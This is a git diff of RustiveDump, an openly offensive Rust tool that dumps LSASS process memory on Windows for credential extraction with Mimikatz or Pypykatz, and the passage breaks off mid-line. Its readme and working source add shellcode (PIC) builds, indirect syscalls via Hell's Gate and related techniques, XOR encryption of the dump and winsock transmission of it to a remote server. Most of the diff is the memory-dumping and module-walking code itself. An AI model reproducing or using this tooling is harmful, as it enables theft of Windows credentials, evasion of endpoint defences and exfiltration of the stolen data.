diff --git a/Cargo.lock b/Cargo.lock index d42fcd2..3051ab3 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1,25 +1,16 @@ # This file is automatically @generated by Cargo. # It is not intended for manual editing. -version = 3 +version = 4 [[package]] name = "RustiveDump" -version = "0.1.0" +version = "0.1.1" dependencies = [ - "libc-print", + "panic-halt", ] [[package]] -name = "libc" -version = "0.2.159" +name = "panic-halt" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "561d97a539a36e26a9a5fad1ea11a3039a67714694aaa379433e580854bc3dc5" - -[[package]] -name = "libc-print" -version = "0.1.23" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4a660208db49e35faf57b37484350f1a61072f2a5becf0592af6015d9ddd4b0" -dependencies = [ - "libc", -] +checksum = "de96540e0ebde571dc55c73d60ef407c653844e6f9a1e2fdbd40c07b9252d812" diff --git a/Cargo.toml b/Cargo.toml index 2fed84a..e642d7c 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,11 +1,11 @@ [package] name = "RustiveDump" -version = "0.1.0" +version = "0.1.1" edition = "2021" authors = ["safedv"] [dependencies] -libc-print = { version = "0.1.23", optional = true } +panic-halt = "0.2.0" [profile.dev] panic = "abort" @@ -14,10 +14,11 @@ panic = "abort" panic = "abort" opt-level = "s" lto = true +codegen-units = 1 [features] default = [] +debug = [] xor = [] remote = [] lsasrv = [] -verbose = ["dep:libc-print"] \ No newline at end of file diff --git a/LICENSE b/LICENSE index 76bd379..da508d7 100644 --- a/LICENSE +++ b/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2024 safedv +Copyright (c) 2024 Davide Valitutti Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/Linker.ld b/Linker.ld new file mode 100644 index 0000000..b5b403d --- /dev/null +++ b/Linker.ld @@ -0,0 +1,25 @@ +ENTRY(_start); + +SECTIONS +{ + . = 0x0000; + + .text ALIGN(16) : + { + *(.text.prologue) + *(.text*) + *(.rodata*) + *(.rdata*) + *(.global*) + } + + /DISCARD/ : + { + *(.interp) + *(.comment) + *(.debug_frame) + *(.bss) + *(.pdata) + *(.xdata) + } +} diff --git a/Makefile.toml b/Makefile.toml index bef771e..674980f 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -3,30 +3,53 @@ skip_core_tasks = true [env] TARGET = "x86_64-pc-windows-gnu" -RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start" -FEATURES = "" +PIC_RUSTFLAGS = "-C link-arg=-nostdlib -C codegen-units=1 -C link-arg=-fno-ident -C link-arg=-fpack-struct=8 -C link-arg=-Wl,--gc-sections -C link-arg=-falign-jumps=1 -C link-arg=-w -C link-arg=-falign-labels=1 -C relocation-model=pic -C link-arg=-Wl,-T./Linker.ld,--build-id=none -C link-arg=-Wl,-s,--no-seh,--enable-stdcall-fixup -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start" +EXE_RUSTFLAGS = "-C link-arg=-nostdlib -C link-arg=-Wl,--gc-sections -C link-arg=-Wl,--subsystem,console -C link-arg=-nostartfiles -C link-arg=-Wl,-e_start" +FEATURES = "" [tasks.default] description = "Default task that builds the project." dependencies = ["build"] [tasks.build] -description = "Cleans, builds, and strips the project." +description = "Clean, Builds, strips, and objcopy." dependencies = ["clean", "cargo-build", "strip"] [tasks.clean] description = "Cleans the project and removes the binary file." script = [ - "cargo clean", + "cargo clean" ] [tasks.cargo-build] -description = "Build the project using cargo with custom rustflags and features." +description = "Build the project using cargo with custom rustflags." command = "cargo" args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"] -env = { "RUSTFLAGS" = "${RUSTFLAGS}" } +env = { "RUSTFLAGS" = "${EXE_RUSTFLAGS}" } [tasks.strip] description = "Strips unnecessary sections from the binary." command = "strip" args = ["-s", "--strip-unneeded", "-x", "-X", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe"] + +[tasks.pic] +description = "Builds with PIC enabled." +dependencies = ["cleanpic", "cargo-build-pic", "strip", "objcopy"] + +[tasks.cleanpic] +description = "Cleans the project and removes the binary file." +script = [ + "cargo clean", + "rm -f RustiveDump.bin" +] + +[tasks.cargo-build-pic] +description = "Build the project using cargo with PIC enabled." +command = "cargo" +args = ["build", "--release", "--target", "${TARGET}", "--features", "${FEATURES}"] +env = { "RUSTFLAGS" = "${PIC_RUSTFLAGS}" } + +[tasks.objcopy] +description = "Converts the binary to a .bin file using objcopy." +command = "objcopy" +args = ["-O", "binary", "target/x86_64-pc-windows-gnu/release/RustiveDump.exe", "RustiveDump.bin"] \ No newline at end of file diff --git a/readme.md b/readme.md index 6a34be4..acaa6ae 100644 --- a/readme.md +++ b/readme.md @@ -4,29 +4,34 @@ It creates a minimal minidump file from scratch, containing essential components like **SystemInfo**, **ModuleList**, and **Memory64List**, with support for **XOR encryption** and **remote transmission**. +Additionally, RustiveDump now implements the design of [Rustic64](https://github.com/safedv/Rustic64), allowing it to be compiled as **Position Independent Code (PIC)**, making it more versatile. + This project is a personal learning experience, focusing on leveraging native Windows APIs for memory dumping and building a minimalistic minidump file entirely from the ground up. ## **Key Features** -1. **NT System Calls for Everything** +1. **NT System Calls for Everything**: RustiveDump bypasses standard APIs and leverages NT system calls for all its operations. 2. **No-Std and CRT-Independent**: RustiveDump is built using Rust's `no_std` feature, which removes reliance on Rust's standard library, and it's also **CRT library independent**. This resulting in a lean release build of only **18KB**. -3. **Indirect NT Syscalls**: +3. **Position Independent Code (PIC)**: + RustiveDump now implements the design of Rustic64, allowing it to be compiled as `shellcode (PIC)`, making it more versatile. + +4. **Indirect NT Syscalls**: The tool uses indirect syscalls, retrieving system service numbers (SSN) with techniques like **Hell’s Gate**, **Halo's Gate**, and **Tartarus' Gate**. -4. **Lean Memory Dump**: +5. **Lean Memory Dump**: RustiveDump generates a focused memory dump, containing only essential data (i.e., **SystemInfo**, **ModuleList**, and **Memory64List**), ensuring no bloated files—just enough to feed your memory analysis tools like **Mimikatz** or **Pypykatz**. -5. **XOR Encryption**: +6. **XOR Encryption**: RustiveDump can encrypt the dump file using XOR before saving or transmitting it, adding an extra layer of security to the dumped memory. -6. **Remote File Transmission**: +7. **Remote File Transmission**: The dump file can be sent directly to a remote server using **winsock** APIs calls -7. **Verbose Mode**: +8. **Debug Mode**: The verbose mode provides detailed logs of each step, which can be enabled during the build process. ## **How it works** @@ -53,7 +58,7 @@ RustiveDump offers several configurable build options through **cargo make** to **Available Features:** - **xor**: Encrypts the dump file using XOR encryption. -- **verbose**: Enables detailed logs for each step of the process. +- **debug**: Enables detailed logs for each step of the process. - **remote**: Sends the dump file to a remote server via Winsock. - **lsasrv**: Filters the memory dump to include only the `lsasrv.dll` module from **lsass.exe**. @@ -68,10 +73,16 @@ To build RustiveDump with different combinations of features, use the following ``` - **Build with specific features** + ```bash - cargo make --env FEATURES=xor,remote,lsasrv,verbose + cargo make --env FEATURES=xor,remote,lsasrv,debug ``` - + +- **Build as Shellcode (PIC)** + ```bash + cargo make --env FEATURES=xor,remote pic + ``` + ## **Memory Dump File Structure** RustiveDump generates a minimalistic minidump file, including only the essential components for tools like **Mimikatz** and **Pypykatz**. The file consists of three core streams: @@ -90,7 +101,7 @@ Always follow ethical guidelines and legal frameworks when doing security resear ## **Credits** -- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump). Thanks to the author for sharing their work. +- Inspired by [NativeDump](https://github.com/ricardojoserf/NativeDump) by [ricardojoserf](https://github.com/ricardojoserf). Thanks to the author for sharing their work. ## **Contributions** diff --git a/src/common/crtapi.rs b/src/common/crtapi.rs index afafbca..84f0d50 100644 --- a/src/common/crtapi.rs +++ b/src/common/crtapi.rs @@ -103,8 +103,3 @@ pub extern "C" fn strlen(s: *const u8) -> usize { } count } - -/// A static variable required by some environments to indicate floating-point usage. -/// This is a placeholder to ensure compatibility. -#[export_name = "_fltused"] -static _FLTUSED: i32 = 0; diff --git a/src/common/debug.rs b/src/common/debug.rs deleted file mode 100644 index 3060817..0000000 --- a/src/common/debug.rs +++ /dev/null @@ -1,93 +0,0 @@ -use core::ffi::c_void; -use core::{ - cell::UnsafeCell, - ptr::null_mut, - sync::atomic::{AtomicBool, Ordering}, -}; - -use super::ldrapi::{ldr_function, ldr_module}; - -pub type WriteFile = unsafe extern "system" fn( - hFile: *mut c_void, - lpBuffer: *const u8, - nNumberOfBytesToWrite: u32, - lpNumberOfBytesWritten: *mut u32, - lpOverlapped: *mut c_void, -) -> i32; - -#[repr(C)] -pub struct K32 { - pub write_file: WriteFile, -} - -impl K32 { - pub fn new() -> Self { - K32 { - write_file: unsafe { core::mem::transmute(null_mut::()) }, - } - } -} - -static INIT_K32: AtomicBool = AtomicBool::new(false); - -pub static mut K32_G: UnsafeCell> = UnsafeCell::new(None); - -pub unsafe fn k32() -> &'static K32 { - ensure_initialized(); - return K32_G.get().as_ref().unwrap().as_ref().unwrap(); -} - -/// Function to ensure that initialization is performed if it hasn't been already. -fn ensure_initialized() { - unsafe { - if !INIT_K32.load(Ordering::Acquire) { - init_k32(); - } - } -} - -unsafe fn init_k32() { - if !INIT_K32.load(Ordering::Acquire) { - let mut k32 = K32::new(); - - // Resolve the base address of `kernel32.dll` using its hash (0x6ddb9555). - let kernel32_base = ldr_module(0x6ddb9555); - - // Resolve the address of `WriteFile` function from `kernel32.dll` using its hash (0xf1d207d0). - let k_write_file_addr = ldr_function(kernel32_base, 0xf1d207d0); - - // Cast the resolved address to a callable function of type `WriteFile`. - k32.write_file = core::mem::transmute(k_write_file_addr); - - *K32_G.get() = Some(k32); - - INIT_K32.store(true, Ordering::Release); - } -} -/// Global mutable instance of the agent. - -/// Implements a low-level `_write` function that writes data to a file descriptor (typically `stdout` or `stderr`). -/// This function resolves the `WriteFile` function from `kernel32.dll` and uses it to perform the actual write. -#[no_mangle] -extern "C" fn _write(_fd: i32, buf: *const u8, count: usize) -> isize { - unsafe { - let mut written: u32 = 0; // Variable to store the number of bytes written. - let handle = -11i32 as u32; // File handle for `stdout` or `stderr` (often -11 represents `stdout` on Windows). - - // Call `WriteFile` with the handle, buffer, and count of bytes to write. - let ntstatus = (k32().write_file)( - handle as *mut c_void, // File handle - buf, // Buffer containing the data to write - count as u32, // Number of bytes to write - &mut written, // Pointer to the variable that will receive the number of bytes written - core::ptr::null_mut(), // No overlapped structure - ); - - // Return the number of bytes written or an error code (if `ntstatus` is negative). - if ntstatus < 0 { - ntstatus as isize - } else { - written as isize - } - } -} diff --git a/src/common/ldrapi.rs b/src/common/ldrapi.rs index c766c12..6c6f515 100644 --- a/src/common/ldrapi.rs +++ b/src/common/ldrapi.rs @@ -1,8 +1,9 @@ -use super::utils::{dbj2_hash, get_cstr_len}; - -use crate::ntapi::def::{ - find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry, - PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE, +use crate::{ + common::utils::{dbj2_hash, get_cstr_len}, + native::ntdef::{ + find_peb, ImageDosHeader, ImageExportDirectory, ImageNtHeaders, LoaderDataTableEntry, + PebLoaderData, IMAGE_DOS_SIGNATURE, IMAGE_NT_SIGNATURE, + }, }; use core::ptr::null_mut; @@ -90,7 +91,7 @@ pub unsafe fn ldr_function(module_base: *mut u8, function_hash: usize) -> *mut u } // Get the export directory from the NT headers - let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0]; // Assuming IMAGE_DIRECTORY_ENTRY_EXPORT is 0 + let data_directory = &(*p_img_nt_headers).optional_header.data_directory[0]; let export_directory = (module_base.offset(data_directory.virtual_address as isize)) as *mut ImageExportDirectory; if export_directory.is_null() { diff --git a/src/common/mod.rs b/src/common/mod.rs index 7789828..0e00f98 100644 --- a/src/common/mod.rs +++ b/src/common/mod.rs @@ -1,9 +1,3 @@ pub mod crtapi; pub mod ldrapi; pub mod utils; - -#[cfg(feature = "verbose")] -pub mod debug; - -#[cfg(feature = "xor")] -pub mod xor; diff --git a/src/common/utils.rs b/src/common/utils.rs index 1d56c58..a9dfddd 100644 --- a/src/common/utils.rs +++ b/src/common/utils.rs @@ -1,9 +1,3 @@ -#[cfg(not(feature = "remote"))] -use alloc::string::String; - -#[cfg(not(feature = "remote"))] -use crate::ntapi::def::UnicodeString; - /// Computes the DJB2 hash for the given buffer pub fn dbj2_hash(buffer: &[u8]) -> u32 { let mut hsh: u32 = 5381; @@ -61,30 +55,3 @@ impl IsNull for u16 { *self == 0 } } - -#[cfg(not(feature = "remote"))] -pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option { - if unicode_string.length == 0 || unicode_string.buffer.is_null() { - return None; - } - - let slice = unsafe { - core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize) - }; - - String::from_utf16(slice).ok() -} - -#[cfg(feature = "verbose")] -#[macro_export] -macro_rules! debug_println { - ($($arg:tt)*) => ({ - libc_println!($($arg)*); - }); -} - -#[cfg(not(feature = "verbose"))] -#[macro_export] -macro_rules! debug_println { - ($($arg:tt)*) => {}; -} diff --git a/src/debug/k32.rs b/src/debug/k32.rs new file mode 100644 index 0000000..a7df53a --- /dev/null +++ b/src/debug/k32.rs @@ -0,0 +1,46 @@ +use core::{ffi::c_void, ptr::null_mut}; + +use crate::{ + common::ldrapi::{ldr_function, ldr_module}, + get_instance, +}; + +pub type WriteFile = unsafe extern "system" fn( + hFile: *mut c_void, + lpBuffer: *const c_void, + nNumberOfBytesToWrite: u32, + lpNumberOfBytesWritten: *mut u32, + lpOverlapped: *mut c_void, +) -> i32; + +pub struct Kernel32 { + pub module_hash: u32, + pub module_base: *mut u8, + pub write_file: WriteFile, +} + +impl Kernel32 { + pub fn new() -> Self { + Kernel32 { + module_hash: 0x6ddb9555, + module_base: null_mut(), + write_file: unsafe { core::mem::transmute(null_mut::()) }, + } + } +} + +unsafe impl Sync for Kernel32 {} +unsafe impl Send for Kernel32 {} + +pub fn init_kernel32_funcs() { + unsafe { + let instance = get_instance().unwrap(); + + //Kernel32.dll + instance.k32.module_base = ldr_module(instance.k32.module_hash); + + //WriteFile + let k_write_file_addr = ldr_function(instance.k32.module_base, 0xf1d207d0); + instance.k32.write_file = core::mem::transmute(k_write_file_addr); + } +} diff --git a/src/debug/mod.rs b/src/debug/mod.rs new file mode 100644 index 0000000..1d60a84 --- /dev/null +++ b/src/debug/mod.rs @@ -0,0 +1,138 @@ +pub mod k32; + +use alloc::string::String; +use alloc::string::ToString; + +#[macro_export] +macro_rules! debug_println { + // Case 1: Just printing a message without any values + ($msg:expr) => {{ + let mut bytes_written: u32 = 0; + unsafe { + ($crate::instance::get_instance().unwrap().k32.write_file)( + -11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE + $msg.as_ptr() as *const core::ffi::c_void, // Pointer to the message + $msg.len() as u32, // Length of the message + &mut bytes_written, // Bytes written output + core::ptr::null_mut(), + ); + } + }}; + + // Case 2: Printing an NTSTATUS value (i32) in hex, always + ($msg:expr, $val:expr) => {{ + // Format the NTSTATUS value as hex + let formatted_val = $crate::debug::itoa_hex_i32($val); // Convert i32 directly to hex + + // Concatenate the message and the formatted value + let full_msg = [$msg, &formatted_val, "\n"].concat(); + let mut bytes_written: u32 = 0; + + unsafe { + ($crate::instance::get_instance().unwrap().k32.write_file)( + -11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE + full_msg.as_ptr() as *const core::ffi::c_void, // Pointer to the full message + full_msg.len() as u32, // Length of the full message + &mut bytes_written, // Bytes written output + core::ptr::null_mut(), + ); + } + }}; + + // Case 3: Printing a usize value in decimal or hex + ($msg:expr, $val:expr, $as_hex:expr) => {{ + // Format the value as decimal or hexadecimal based on $as_hex + let formatted_val = if $as_hex { + $crate::debug::itoa_hex($val as usize) // Convert usize to hex + } else { + $crate::debug::itoa($val as usize) // Convert usize to decimal + }; + + // Concatenate the message and the formatted value + let full_msg = [$msg, &formatted_val, "\n"].concat(); + let mut bytes_written: u32 = 0; + + unsafe { + ($crate::instance::get_instance().unwrap().k32.write_file)( + -11i32 as u32 as *mut core::ffi::c_void, // Handle for STD_OUTPUT_HANDLE + full_msg.as_ptr() as *const core::ffi::c_void, // Pointer to the full message + full_msg.len() as u32, // Length of the full message + &mut bytes_written, // Bytes written output + core::ptr::null_mut(), + ); + } + }}; +} + +// Helper function to convert usize to decimal string +pub fn itoa(mut value: usize) -> String { + if value == 0 { + return "0".to_string(); // Special case for 0 + } + + let mut result = String::new(); + + // Convert number to decimal string + while value > 0 { + let digit = (value % 10) as u8; + result.push((digit + b'0') as char); // Add the corresponding ASCII character + value /= 10; + } + + // Reverse the string since it's built backwards and return the final result + result.chars().rev().collect() +} + +/// Converts a 32-bit integer (i32) to a hexadecimal string in uppercase. +pub fn itoa_hex_i32(value: i32) -> String { + let hex_digits = b"0123456789ABCDEF"; // Array of uppercase hexadecimal digits. + let mut result = String::new(); + let mut num = value as u32; // Treat the value as u32 while preserving the bit pattern of i32. + + if num == 0 { + return "0x0".to_string(); // Special case for the value 0. + } + + // Convert the number to hexadecimal by repeatedly dividing by 16 and collecting the remainder. + while num > 0 { + let digit = (num % 16) as usize; + result.push(hex_digits[digit] as char); + num /= 16; + } + + // Pad with zeros to ensure the hexadecimal number is represented by 8 digits. + // NTSTATUS codes are always represented with 8 characters in hexadecimal. + while result.len() < 8 { + result.push('0'); + } + + // Append the "0x" prefix at the beginning. + result.push_str("x0"); + + // Reverse the string to correct the order (since we built it from the least significant digit). + result.chars().rev().collect() +} + +// Helper function to convert a memory address (pointer) to a hexadecimal string with 0x prefix and uppercase +pub fn itoa_hex(value: usize) -> String { + let hex_digits = b"0123456789ABCDEF"; // Uppercase hexadecimal digits + let mut result = String::new(); + let mut num = value; + + if num == 0 { + return "0x0".to_string(); // Special case for 0 + } + + // Convert number to hexadecimal + while num > 0 { + let digit = (num % 16) as usize; + result.push(hex_digits[digit] as char); + num /= 16; + } + + // Add the '0x' prefix + result.push_str("x0"); + + // Reverse the string since it's built backwards and return the final result + result.chars().rev().collect() +} diff --git a/src/dump.rs b/src/dump.rs deleted file mode 100644 index 392e912..0000000 --- a/src/dump.rs +++ /dev/null @@ -1,108 +0,0 @@ -#[cfg(feature = "verbose")] -use libc_print::libc_println; - -use core::ffi::c_void; - -use alloc::{ - string::{String, ToString}, - vec::Vec, -}; - -use crate::{ - debug_println, - mdfile::{MemoryRegion, ModuleInfo}, - ntapi::{ - def::{MEM_COMMIT, PAGE_NOACCESS}, - memory::{query_memory_info, read_memory}, - }, -}; - -/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump. -/// -/// This function iterates through the memory space of a process, queries memory information, -/// reads the memory, and dumps it into the provided vectors. -pub unsafe fn dump_memory_regions( - process_handle: *mut c_void, - module_info_list: &mut Vec, - memory64list: &mut Vec, - memory_regions: &mut Vec, -) { - // Initialize variables for memory region traversal and dumping. - let mut memory_address: usize = 0; // Start memory address for dumping. - let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address. - let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name. - let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions. - - // Loop through the process's memory space until the maximum address is reached. - while memory_address < max_memory_address { - // Query information about the current memory region. - if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void) - { - // Check if the memory region is committed and accessible. - if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT { - // Try to match the current region with known modules based on their base addresses. - let matching_object = module_info_list - .iter_mut() - .find(|obj| obj.base_name == tmp_module_base_name); - - // If the region size is 0x1000 and does not match a module, update the module info. - if memory_info.region_size == 0x1000 - && memory_info.base_address as usize - != matching_object - .as_ref() - .map(|obj| obj.base_address) - .unwrap_or(0) - { - // If a module was found, update its region size. - if let Some(module) = matching_object { - module.region_size = tmp_memory_region_size; - } - - // Update auxiliary name and size based on the current memory region. - tmp_module_base_name = module_info_list - .iter() - .find(|module| module.base_address == memory_info.base_address as usize) - .map(|module| module.base_name.clone()) - .unwrap_or_else(|| "Unknown".to_string()); - tmp_memory_region_size = memory_info.region_size as usize; - } else { - // Accumulate the region size. - tmp_memory_region_size += memory_info.region_size as usize; - } - - // Read the memory region if it's valid and dump it. - if let Some(buffer) = read_memory( - process_handle as *mut c_void, - memory_info.base_address as *mut c_void, - memory_info.region_size as usize, - ) { - // Append the read memory region to the dump. - memory_regions.extend_from_slice(&buffer); - // Add the memory region to the list of dumped regions. - memory64list.push(MemoryRegion { - base_address: memory_address, - region_size: memory_info.region_size as usize, - }); - } - } - - // Move to the next memory region by incrementing the memory address. - memory_address += memory_info.region_size as usize; - } else { - // If querying the memory fails, print an error message and break out of the loop. - debug_println!( - "[-] Failed to query memory at address: 0x{:X}", - memory_address - ); - break; - } - } - - // Update the region size of the last matched module. - if let Some(module) = module_info_list - .iter_mut() - .find(|module| module.base_name == tmp_module_base_name) - { - module.region_size = tmp_memory_region_size; - } -} diff --git a/src/dumper/dump.rs b/src/dumper/dump.rs new file mode 100644 index 0000000..3b479c9 --- /dev/null +++ b/src/dumper/dump.rs @@ -0,0 +1,218 @@ +use core::ffi::c_void; + +use alloc::{ + string::{String, ToString}, + vec::Vec, +}; + +use crate::{ + common::utils::dbj2_hash, + debug_println, + instance::get_instance, + native::{ + memory::{query_memory_info, read_memory, read_remote_int_ptr, read_remote_wstr}, + ntdef::{ProcessBasicInformation, MEM_COMMIT, PAGE_NOACCESS}, + }, +}; + +use super::mdfile::{MemoryRegion, ModuleInfo}; + +/// Retrieves the list of loaded modules in a process's memory. +/// +/// Uses the process handle to query the PEB (Process Environment Block) and retrieves +/// information about the loaded modules in the process. Optionally filters modules by a hash. +pub fn get_modules_info(process_handle: *mut c_void, module_hash: Option) -> Vec { + let mut process_information: ProcessBasicInformation = unsafe { core::mem::zeroed() }; + let mut return_length: u32 = 0; + + // Query the process information to get the PEB base address. + let status = unsafe { + get_instance() + .unwrap() + .ntdll + .nt_query_information_process + .run( + process_handle as *mut c_void, + 0, // ProcessBasicInformation + &mut process_information as *mut _ as *mut c_void, + core::mem::size_of::() as u32, + &mut return_length, + ) + }; + + if status != 0 { + panic!("[-] Failed to query process information."); + } + + debug_println!( + "[+] PEB Base Address: ", + process_information.peb_base_address as usize, + true + ); + + // Compute the address of the loader's data structure from the PEB. + let ldr_offset = 0x18; + let ldr_pointer = (process_information.peb_base_address as usize + ldr_offset) as *mut c_void; + let ldr_address = read_remote_int_ptr(process_handle, ldr_pointer); + + // Get the address of the module list from the loader data. + let in_initialization_order_module_list_offset = 0x30; + let module_list_address = + (ldr_address + in_initialization_order_module_list_offset) as *mut c_void; + let mut next_flink = read_remote_int_ptr(process_handle, module_list_address); + + // Offsets within the LDR module structure. + let flink_dllbase_offset = 0x20; + let flink_buffer_fulldllname_offset = 0x40; + let flink_buffer_offset = 0x50; + + let mut module_info_arr: Vec = Vec::new(); + let mut dll_base = 1337; + + // Loop through the module list until the base address is zero. + while dll_base != 0 { + next_flink -= 0x10; + + // Read the base address of the module. + dll_base = read_remote_int_ptr( + process_handle, + (next_flink + flink_dllbase_offset) as *mut c_void, + ); + if dll_base == 0 { + break; + } + + // Read the base and full DLL names from memory. + let base_dll_name_ptr = read_remote_int_ptr( + process_handle, + (next_flink + flink_buffer_offset) as *mut c_void, + ) as *mut c_void; + let base_dll_name = read_remote_wstr(process_handle, base_dll_name_ptr); + + let full_dll_name_ptr = read_remote_int_ptr( + process_handle, + (next_flink + flink_buffer_fulldllname_offset) as *mut c_void, + ) as *mut c_void; + let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr); + + // If a module hash is provided, filter by hash; otherwise, include all modules. + match module_hash { + Some(value) => { + if value == dbj2_hash(base_dll_name.clone().as_bytes()) { + module_info_arr.push(ModuleInfo { + base_name: base_dll_name, + full_dll_name, + base_address: dll_base, + region_size: 0, + }); + + break; // Stop searching after finding the matching module. + } + } + None => { + module_info_arr.push(ModuleInfo { + base_name: base_dll_name, + full_dll_name, + base_address: dll_base, + region_size: 0, + }); + } + } + + // Move to the next module in the list. + next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void); + } + + module_info_arr +} + +/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump. +/// +/// This function iterates through the memory space of a process, queries memory information, +/// reads the memory, and dumps it into the provided vectors. +pub unsafe fn dump_memory_regions( + process_handle: *mut c_void, + module_info_list: &mut Vec, + memory64list: &mut Vec, + memory_regions: &mut Vec, +) { + // Initialize variables for memory region traversal and dumping. + let mut memory_address: usize = 0; // Start memory address for dumping. + let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address. + let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name. + let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions. + + // Loop through the process's memory space until the maximum address is reached. + while memory_address < max_memory_address { + // Query information about the current memory region. + if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void) + { + // Check if the memory region is committed and accessible. + if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT { + // Try to match the current region with known modules based on their base addresses. + let matching_object = module_info_list + .iter_mut() + .find(|obj| obj.base_name == tmp_module_base_name); + + // If the region size is 0x1000 and does not match a module, update the module info. + if memory_info.region_size == 0x1000 + && memory_info.base_address as usize + != matching_object + .as_ref() + .map(|obj| obj.base_address) + .unwrap_or(0) + { + // If a module was found, update its region size. + if let Some(module) = matching_object { + module.region_size = tmp_memory_region_size; + } + + // Update auxiliary name and size based on the current memory region. + tmp_module_base_name = module_info_list + .iter() + .find(|module| module.base_address == memory_info.base_address as usize) + .map(|module| module.base_name.clone()) + .unwrap_or_else(|| "Unknown".to_string()); + tmp_memory_region_size = memory_info.region_size as usize; + } else { + // Accumulate the region size. + tmp_memory_region_size += memory_info.region_size as usize; + } + + // Read the memory region if it's valid and dump it. + if let Some(buffer) = read_memory( + process_handle as *mut c_void, + memory_info.base_address as *mut c_void, + memory_info.region_size as usize, + ) { + // Append the read memory region to the dump. + memory_regions.extend_from_slice(&buffer); + // Add the memory region to the list of dumped regions. + memory64list.push(MemoryRegion { + base_address: memory_address, + region_size: memory_info.region_size as usize, + }); + } + } + + // Move to the next memory region by incrementing the memory address. + memory_address += memory_info.region_size as usize; + } else { + // If querying the memory fails, print an error message and break out of the loop. + debug_println!( + "[-] Failed to query memory at address: ", + memory_address as usize, + true + ); + break; + } + } + + // Update the region size of the last matched module. + if let Some(module) = module_info_list + .iter_mut() + .find(|module| module.base_name == tmp_module_base_name) + { + module.region_size = tmp_memory_region_size; + } +} diff --git a/src/mdfile.rs b/src/dumper/mdfile.rs similarity index 93% rename from src/mdfile.rs rename to src/dumper/mdfile.rs index 6d53548..9f78068 100644 --- a/src/mdfile.rs +++ b/src/dumper/mdfile.rs @@ -1,9 +1,6 @@ -#[cfg(feature = "verbose")] -use libc_print::libc_println; - use alloc::{string::String, vec::Vec}; -use crate::{debug_println, ntapi::def::OSVersionInfo}; +use crate::{debug_println, native::ntdef::OSVersionInfo}; // Struct for holding information about a module (DLL), including its base name, // full path, base address in memory, and the size of the memory region it occupies. @@ -45,12 +42,16 @@ pub fn generate_memory_dump_file( let offset_memory_regions = mem64list_offset + mem64list_size; // The actual memory dump data comes after Memory64List. // Debug prints to show calculated values if verbose mode is enabled. - debug_println!("[+] Total number of modules: {}", number_modules); - debug_println!("[+] ModuleListStream size: {}", modulelist_size); - debug_println!("[+] Mem64List offset: {}", mem64list_offset); - debug_println!("[+] Mem64List size: {}", mem64list_size); - debug_println!("[+] Regions memory dump size: {}", regions_memdump.len()); - debug_println!("[+] Number of memory regions: {}", memory64list.len()); + debug_println!("[+] Total number of modules: ", number_modules, false); + debug_println!("[+] ModuleListStream size: ", modulelist_size, false); + debug_println!("[+] Mem64List offset: ", mem64list_offset, false); + debug_println!("[+] Mem64List size: ", mem64list_size, false); + debug_println!( + "[+] Regions memory dump size: ", + regions_memdump.len(), + false + ); + debug_println!("[+] Number of memory regions: ", memory64list.len(), false); // **Header section for the dump file** let mut header: Vec = Vec::new(); diff --git a/src/dumper/mod.rs b/src/dumper/mod.rs new file mode 100644 index 0000000..2f8dd30 --- /dev/null +++ b/src/dumper/mod.rs @@ -0,0 +1,2 @@ +pub mod dump; +pub mod mdfile; diff --git a/src/encrypt/mod.rs b/src/encrypt/mod.rs new file mode 100644 index 0000000..4d8aae4 --- /dev/null +++ b/src/encrypt/mod.rs @@ -0,0 +1 @@ +pub mod xor; diff --git a/src/common/xor.rs b/src/encrypt/xor.rs similarity index 100% rename from src/common/xor.rs rename to src/encrypt/xor.rs diff --git a/src/helper.rs b/src/helper.rs index ac0da57..8a0018f 100644 --- a/src/helper.rs +++ b/src/helper.rs @@ -2,22 +2,22 @@ use alloc::vec::Vec; use core::ffi::c_void; use crate::{ - dump::dump_memory_regions, - mdfile::{MemoryRegion, ModuleInfo}, - ntapi::{ - def::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ}, - memory::get_modules_info, - privilege::enable_se_debug_privilege, - process::get_process_handle_by_name, + dumper::{ + dump::{dump_memory_regions, get_modules_info}, + mdfile::{MemoryRegion, ModuleInfo}, + }, + native::{ + ntdef::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ}, + ntpsapi::{enable_se_debug_privilege, get_process_handle_by_name}, }, }; -#[cfg(not(feature = "remote"))] -use crate::ntapi::file::save_file; - #[cfg(feature = "remote")] use crate::remote::winsock::send_file; +#[cfg(not(feature = "remote"))] +use 